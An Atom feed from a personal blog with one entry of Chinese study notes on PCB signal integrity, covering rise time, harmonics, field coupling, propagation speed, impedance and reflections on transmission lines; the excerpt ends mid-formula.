<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>涵五记</title>
  
  
  <link href="https://tyatt.top/atom.xml" rel="self"/>
  
  <link href="https://tyatt.top/"/>
  <updated>2026-03-05T15:21:33.919Z</updated>
  <id>https://tyatt.top/</id>
  
  <author>
    <name>Bill50han</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>PCB 信号完整性学习笔记</title>
    <link href="https://tyatt.top/2026/03/05/PCB-SI/"/>
    <id>https://tyatt.top/2026/03/05/PCB-SI/</id>
    <published>2026-03-05T15:09:00.000Z</published>
    <updated>2026-03-05T15:21:33.919Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://www.bilibili.com/video/BV1xL8RzdEBX/">https://www.bilibili.com/video/BV1xL8RzdEBX/</a></p><p><a href="https://www.oreilly.com/videos/pcb-signal-integrity/9780133548563/">https://www.oreilly.com/videos/pcb-signal-integrity/9780133548563/</a></p><span id="more"></span><h2 id="%E4%B8%80%E3%80%81%E8%83%8C%E6%99%AF" tabindex="-1">一、背景</h2><h3 id="1.1-%E5%8E%86%E5%8F%B2%E8%A7%86%E8%A7%92" tabindex="-1">1.1 历史视角</h3><p>发展历程（随着越来越快的信号上升时间）：</p><ol><li>无；</li><li>走线、过孔的电感：EMI、串扰、地弹（旁路电容）反射、无损传输线、特征阻抗；</li><li>电阻随频率变化：集肤效应、介电损耗、有损传输线</li><li>微波的新问题</li></ol><p>作者的书：<em>PCB Currents How They Flow, How They React</em></p><h3 id="1.2-%E7%90%86%E8%A7%A3%E7%94%B5%E6%B5%81" tabindex="-1">1.2 理解电流</h3><p>电流是电子的流动。一个电子流入，就有一个电子流出。电流在回路中流动，因此 ** 每一个信号都有一个回流路径，知道这个回流路径在哪里很重要。** 电压（电势差）存在于两点之间。<strong>明确电压的参考点很重要。</strong></p><p>信号线与回流路径围成的区域的面积称之为环路面积。</p><h3 id="1.3-%E7%90%86%E8%A7%A3%E9%A2%91%E7%8E%87%E3%80%81%E4%B8%8A%E5%8D%87%E6%97%B6%E9%97%B4%E3%80%81%E8%B0%90%E6%B3%A2" tabindex="-1">1.3 理解频率、上升时间、谐波</h3><p>2πf=ω。</p><p>上升时间：波形从 10% 到 90% 所需的时间。0%-10%：起始特性；90%-100%：截止特性。不同技术在起始和截止阶段的特性不同，但在中间阶段的特性相似。下降时间定义同理。有些技术可能将其定义为 20%80%。这可能是因其元件特性不同，也可能只是文字游戏。</p><p>对于一个正弦波，数学上，上升时间可表示为 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mi>π</mi><mo>∗</mo><mi>f</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">1/(π*f)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">π</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">)</span></span></span></span></eq> ，大约是周期的三分之一。对于其余波形，没有万能的公式描述上升时间和频率的关系。</p><p><img src="//pic.tyatt.top/PCB-SI/image.png" alt="08:26"></p><p>08:26</p><p>傅里叶分析：每一个信号 / 曲线，都可以用足够数量的不同频率、不同相位的正弦波在精确再现。</p><p>谐波：设波形频率为 f，则其 n 次谐波的频率是 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>∗</mo><mi>f</mi></mrow><annotation encoding="application/x-tex">n*f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4653em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span></eq> 。</p><p><img src="//pic.tyatt.top/PCB-SI/image%201.png" alt="10:21"></p><p>10:21</p><p>谐波数量越多，近似度越好。谐波数量越多，上升时间越短。我们的系统需要处理波形里包含的谐波，而不只是基频。</p><p>上升时间决定了存在的谐波的数量。这里有一个例子：对于一个 1MHz 的波形，至少需要 11MHz 的带宽，才能得到像 11 次谐波组成的那个样子的方波。</p><p>带宽取决于我们需要通过多少次谐波，这决定了我们系统中的上升时间会多好。</p><p>信号完整性的关键问题是上升时间，而非频率。</p><h3 id="1.4-%E5%8F%AF%E8%A7%86%E5%8C%96%E7%94%B5%E7%A3%81%E5%9C%BA" tabindex="-1">1.4 可视化电磁场</h3><p>电流是电荷的流动。信号是一个点概念。</p><p><img src="//pic.tyatt.top/PCB-SI/image%202.png" alt="01:09"></p><p>01:09</p><p>上图被称为电耦合 / 电荷耦合 / 容性耦合。</p><p>法拉第定律：变化的电流会在相邻的导线中感应出电流。这被称为磁耦合 / 感性耦合。</p><p>电流、电场、磁场同步地沿着导体传播。</p><hr><p>一个信号耦合到相邻的导线时，</p><ul><li>坏：造成串扰</li><li>好：这是一对差分对。耦合对其有益。</li></ul><p>一根导线 / 天线向外辐射，被外面某个天线接收时，</p><ul><li>坏：非法使用无线电</li><li>好：合法无线通信。</li></ul><p>因此，我们作为工程师，有责任最大化有益辐射，最小化有害辐射。</p><hr><p><img src="//pic.tyatt.top/PCB-SI/image%203.png" alt="image.png"></p><p>地平面到走线的距离。这与 EMI 电磁串扰有关。</p><p><img src="//pic.tyatt.top/PCB-SI/image%204.png" alt="image.png"></p><p>带状线与微带线的区别。这也与 EMI 电磁串扰有关，但不代表微带线在 EMI 角度不好。</p><p><img src="//pic.tyatt.top/PCB-SI/image%205.png" alt="image.png"></p><p>线宽的区别。这与信号传播速度有关。信号传播的速度取决于电磁波所处的环境。电磁波在空气中的传播速度更快。在空气中的电磁场更多→信号传播速度更快。</p><p><img src="//pic.tyatt.top/PCB-SI/image%206.png" alt="image.png"></p><p>线间距的区别。这与串扰 / 耦合有关。</p><p><img src="//pic.tyatt.top/PCB-SI/image%207.png" alt="image.png"></p><p>缩放倍数的区别。可以发现电磁场没有区别。两种情况下，传输线的阻抗也是相同的。</p><hr><p>电磁场影响：</p><ol><li>电磁干扰（EMI）</li><li>传播速度</li><li>串扰</li><li>阻抗</li><li>等等</li></ol><p>从电磁场角度思考，可以对信号完整性相关的问题有更深入的了解。</p><h3 id="1.5-%E5%A4%84%E7%90%86%E4%BC%A0%E6%92%AD%E9%80%9F%E5%BA%A6%E5%92%8C%E6%97%B6%E9%97%B4" tabindex="-1">1.5 处理传播速度和时间</h3><p>电信号以光速传播。光速在不同介质中，与其相对介电系数有关。</p><p><img src="//pic.tyatt.top/PCB-SI/image%208.png" alt="01:12"></p><p>01:12</p><p>信号传播的速度并非由电子在导体中移动的速度决定，而是由电磁场穿过其流经介质的速度所决定。</p><p>对比带状线，微带线中信号速度更快，因为一部分电磁场在空气中传播。关于传播速度的具体计算参见原片 05:38 部分。</p><hr><p>PCB 中的时间问题主要有两种：</p><ol><li>设定精准的传播时间；</li><li>让两条 / 多条走线的传播时间保持一致。</li></ol><p>如果要精确设定传播时间，则最好使用带状线，保证环境的均匀性，并对 PCB 所使用材料的相对介电系数有精确了解。</p><p>若是让两条 / 多条走线的传播时间保持一致，则需要让走线在相同环境下布设，并让走线的长度保持一致（在系统设计的时许容差范围内，除非是差分走线）。</p><hr><p><img src="//pic.tyatt.top/PCB-SI/image%209.png" alt="浅灰色为玻璃纤维编织物，黑色部分为树脂填充。"></p><p>浅灰色为玻璃纤维编织物，黑色部分为树脂填充。</p><p>现实中，在非常快速的电路中，“保持相同的环境”可能是一个棘手的问题。</p><h3 id="1.6-%E7%90%86%E8%A7%A3%E9%98%BB%E6%8A%97" tabindex="-1">1.6 理解阻抗</h3><p>对于理想化的三大无源元件：</p><table><thead><tr><th></th><th>直流</th><th>超高频率的交流</th><th>电压相位偏移</th></tr></thead><tbody><tr><td>电感</td><td>0</td><td>∞</td><td>+90°</td></tr><tr><td>电阻</td><td>R</td><td>R</td><td>0</td></tr><tr><td>电容</td><td>∞</td><td>0</td><td>-90°</td></tr></tbody></table><p>对于纯电阻，电压曲线和电流曲线仅为上下平移。平移的量由欧姆定律决定。</p><p>无功相移是 90°。对于纯电感，电压曲线比电流曲线提前 90°到达峰值。对于纯电容，电压曲线比电流曲线延后 90°到达峰值。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2010.png" alt="02:29"></p><p>02:29</p><p>对于 LC 电路（无论是串联 LC 还是并联 LC），相移随频率从 -90°到 +90°变化，阻抗从 0 到无穷变化。</p><p>对于阻抗曲线（阻抗随频率变化，对数坐标轴），电阻↔曲线水平，R=R。电感↔曲线是线性上升的，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mn>2</mn><mi>π</mi><mi>f</mi><mi>L</mi></mrow><annotation encoding="application/x-tex">X=2πfL</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.03588em;">π</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">L</span></span></span></span></eq>，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi><mo>=</mo><mi>L</mi><mo>∗</mo><mi mathvariant="normal">Δ</mi><mi>i</mi><mi mathvariant="normal">/</mi><mi mathvariant="normal">Δ</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">V=L*Δi/Δt</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Δ</span><span class="mord mathnormal">i</span><span class="mord">/Δ</span><span class="mord mathnormal">t</span></span></span></span></eq>。电容↔曲线是线性下降的， <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mo>−</mo><mn>1</mn><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mn>2</mn><mi>π</mi><mi>f</mi><mo stretchy="false">)</mo><mo>∗</mo><mi>C</mi></mrow><annotation encoding="application/x-tex">X=-1/(2πf)*C</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord">1/</span><span class="mopen">(</span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.03588em;">π</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></eq>（负号表示 -90°相移）。</p><p>对于具体 LC 电路，串联 LC 的 X 仅需将 L 与 C 的 X 相加，并联则需使用并联组合公式：</p><p><img src="//pic.tyatt.top/PCB-SI/image%2011.png" alt="image.png"></p><p><img src="//pic.tyatt.top/PCB-SI/image%2012.png" alt="串联 LC，在谐振点，阻抗将会真正的归零。"></p><p>串联 LC，在谐振点，阻抗将会真正的归零。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2013.png" alt="并联 LC，在谐振点，阻抗将会趋向于无穷大。"></p><p>并联 LC，在谐振点，阻抗将会趋向于无穷大。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2014.png" alt="混合 LC。"></p><p>混合 LC。</p><p>因此，对于一般的电阻、电容、电感串联，阻抗可能是 0 到∞间的任何值，相移可能是 -90°到 +90°间的任意值。</p><hr><p>对于一般的阻抗，电阻 R 来自电阻，电抗 X 来自电容、电感（其容值 / 感值与电抗的关系在上方已给出）。阻抗 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi><mo>=</mo><mi>R</mi><mo>+</mo><mi>j</mi><mo>∗</mo><mi>X</mi></mrow><annotation encoding="application/x-tex">Z=R+j*X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span></eq>，其中 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span></eq> 是虚数单位。如何理解 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span></eq>？它代表 90°的相移。<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi></mrow><annotation encoding="application/x-tex">Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span></span></span></span></eq> 即是 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo>−</mo><mi>X</mi></mrow><annotation encoding="application/x-tex">R - X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span></eq> 坐标系上的一个矢量。</p><p>功的消耗只会在实部 R 里发生。在虚部的 X 里，任何进入电容的能量都会回到电路里，任何在电感里被消耗的能量都会去到磁场里，而当电流消失时，磁场崩塌，能量又回到电路中。实际被消耗掉的功，仍然用我们熟悉的 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>i</mi><mn>2</mn></msup><mi>R</mi></mrow><annotation encoding="application/x-tex">i^2R</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span></eq> 计算。</p><hr><p>因此，在这门课中，我们会遇到：</p><ul><li>旁路电容的自谐振频率；</li><li>旁路电容的串并联谐振频率；</li><li>旁路电容的 ESR（等效串联电阻），与焊盘、走线的电阻电感有关。</li><li>受控传输线</li><li>差分阻抗</li><li>走线终端（特别是损失传输线的）</li></ul><h2 id="%E4%BA%8C%E3%80%81%E6%B6%88%E9%99%A4%E5%8F%8D%E5%B0%84" tabindex="-1">二、消除反射</h2><p>每次信号通过走线时，都会有反射存在。问题在于我们是否在意反射的存在。</p><h3 id="2.1-%E7%90%86%E8%A7%A3%E5%8F%8D%E5%B0%84" tabindex="-1">2.1 理解反射</h3><p>只要有信号沿导体传播，它就会被反射回导体的起始端。只有一个例外。我们需要进行特殊设计，来满足这个例外条件，以避免反射。</p><hr><p><strong>2.1.1 反射长啥样？</strong></p><p>参见视频 02:40 开始的演示。</p><ul><li>反射的符号和幅度取决于导体末端（阻抗）；</li><li>有时候反射足够小，就不会干扰信号。</li></ul><hr><p><strong>2.1.2 为什么我们以前没有考虑过这个问题</strong></p><p>07:41。</p><p>走线的“长度”决定了反射的影响。其他条件相同，走线越“短”，反射的影响越小。</p><p>这里的“长度”指的是以时间单位衡量的走线长度：</p><ul><li>非常短：信号到达走线末端的时间远短于其上升时间；</li><li>非常长：信号在到达走线末端时，驱动端的信号早已稳定；</li><li>临界长度：当走线的双向延迟（信号的往返时间）等于其上升时间。</li></ul><p><img src="//pic.tyatt.top/PCB-SI/image%2015.png" alt="image.png"></p><p>频率越来越快→上升时间越来越短→同等信号传播时间时，临界长度越来越短，最终短到普通 PCB 的尺寸内。</p><h3 id="2.2-%E4%BD%BF%E7%94%A8%E4%BC%A0%E8%BE%93%E7%BA%BF%E8%A7%A3%E5%86%B3%E9%97%AE%E9%A2%98" tabindex="-1">2.2 使用传输线解决问题</h3><p>2.1 中提到的例外就是一种以特殊方式端接的传输线。</p><p>传输线的几何形状一般是受控的，因此也称其为受控阻抗走线。</p><p>一个传输线模型一般以一条走线与一个回流路径组成。将其看作传输线上的一个一个小电感与走线和回流路径之间的一个一个小电容。在现实中，这些电感和电容是分布连续存在的。</p><p>为了简化模型，通常表达为一个一个交替的集总式纯电感和纯电容，每一个的容值和感值分别为 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">C_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>、<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>L</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">L_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>。则整条线路的阻抗为 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi><mo>=</mo><msqrt><mrow><msub><mi>L</mi><mn>0</mn></msub><mi mathvariant="normal">/</mi><msub><mi>C</mi><mn>0</mn></msub></mrow></msqrt></mrow><annotation encoding="application/x-tex">Z=\sqrt{L_0/C_0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.24em;vertical-align:-0.305em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.935em;"><span class="svg-align" style="top:-3.2em;"><span class="pstrut" style="height:3.2em;"></span><span class="mord" style="padding-left:1em;"><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.895em;"><span class="pstrut" style="height:3.2em;"></span><span class="hide-tail" style="min-width:1.02em;height:1.28em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.28em" viewBox="0 0 400000 1296" preserveAspectRatio="xMinYMin slice"><path d="M263,681c0.7,0,18,39.7,52,119c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120c340,-704.7,510.7,-1060.3,512,-1067l0 -0c4.7,-7.3,11,-11,19,-11H40000v40H1012.3s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60zM1001 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.305em;"><span></span></span></span></span></span></span></span></span></eq>。回忆一下复数的运算规则与纯电感、纯电容的相移，易得 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi></mrow><annotation encoding="application/x-tex">Z</annotation></semantics></math></span><span class="katex-html"aria-hidden="true"><span class="base"><span class="strut"style="height:0.6833em;"></span><span class="mord mathnormal"style="margin-right:0.07153em;">Z</span></span></span></span></eq> 的相移是 0°，也就是纯电阻性。因此，对于一条理想传输线，其阻抗是纯电阻性的。</p><p>对于理想的无限长传输线，如果输入阻抗、终端阻抗与传输线的阻抗相同，那么将不会有任何反射发生。对于实际有限长传输线，如果终端阻抗与传输线的阻抗不相等（传输线内部某点的阻抗不连续），那么阻抗变化的那点会发生反射。</p><p>反射系数ρ决定了反射的符号与幅度:</p><section><eqn><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ρ</mi><mo>=</mo><mfrac><mrow><msub><mi>R</mi><mi>L</mi></msub><mo>−</mo><msub><mi>Z</mi><mn>0</mn></msub></mrow><mrow><msub><mi>R</mi><mi>L</mi></msub><mo>+</mo><msub><mi>Z</mi><mn>0</mn></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">ρ=\frac{R_L-Z_0}{R_L+Z_0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></eqn></section><p>其中，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>R</mi><mi>L</mi></msub></mrow><annotation encoding="application/x-tex">R_L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></eq>是远端负载，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mn>0</mn></msub></mrow><annotation 